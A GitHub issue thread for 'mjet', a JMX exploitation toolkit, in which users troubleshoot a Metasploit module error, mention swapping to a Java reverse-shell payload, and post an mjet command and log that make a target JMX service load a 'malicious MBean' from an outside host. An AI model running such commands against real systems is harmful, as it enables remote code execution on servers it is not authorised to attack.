search

mogwaisec / mjet

Mogwai Java Management Extensions (JMX) Exploitation Toolkit
MIT License
172 stars 31 forks source link

No such file or directory @ rb_sysopen #1

Open igomeow opened 9 years ago

igomeow commented 9 years ago

Hi,

I did what you said in installation part but I am getting this error when I try to use java_mlet_server.rb module. [-] Exploit failed: No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/data/java/metasploit/Payload.class

untitled

as you see files are where they should be.

RicterZ commented 9 years ago

I met the same problem. I compiled Payload.java file from src and save it to data/java/metasploit folder, it works, but the .jar file didn't include the payload that I used.

RicterZ commented 9 years ago

Hello, I use java/shell_reverse_tcp rather than java/meterpreter/reverse_tcp, and it works well. @softwarerat

ranfool commented 9 years ago

Any idea why it is not able to get the MBeans from the url I provided?

java -jar mjet.jar -t 192.168.106.191 -p 7091 -u http://191.168.106.177:8080/mlet/

MJET - Mogwai Security JMX Exploitation Toolkit 0.1

[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.106.191:7091/jmxrmi ... [+] Connected: rmi://192.168.106.177 1 [+] Trying to create MLet bean... [+] Loaded javax.management.loading.MLet [+] Loading malicious MBean from http://191.168.106.177:8080/mlet/ [+] Invoking: javax.management.loading.MLet.getMBeansFromURL javax.management.MBeanException: javax.management.ServiceNotFoundException: Problems while parsing URL [http://191.168.106.177:8080/mlet/], got exception [java.net.SocketException: Network is unreachable: connect] at com.sun.jmx.mbeanserver.MBeanIntrospector.unwrapInvocationTargetException(MBeanIntrospector.java:313)

ranfool commented 9 years ago

I had given the mlet uri the wrong IP address of 191.168.106.177 and after I corrected it, it worked.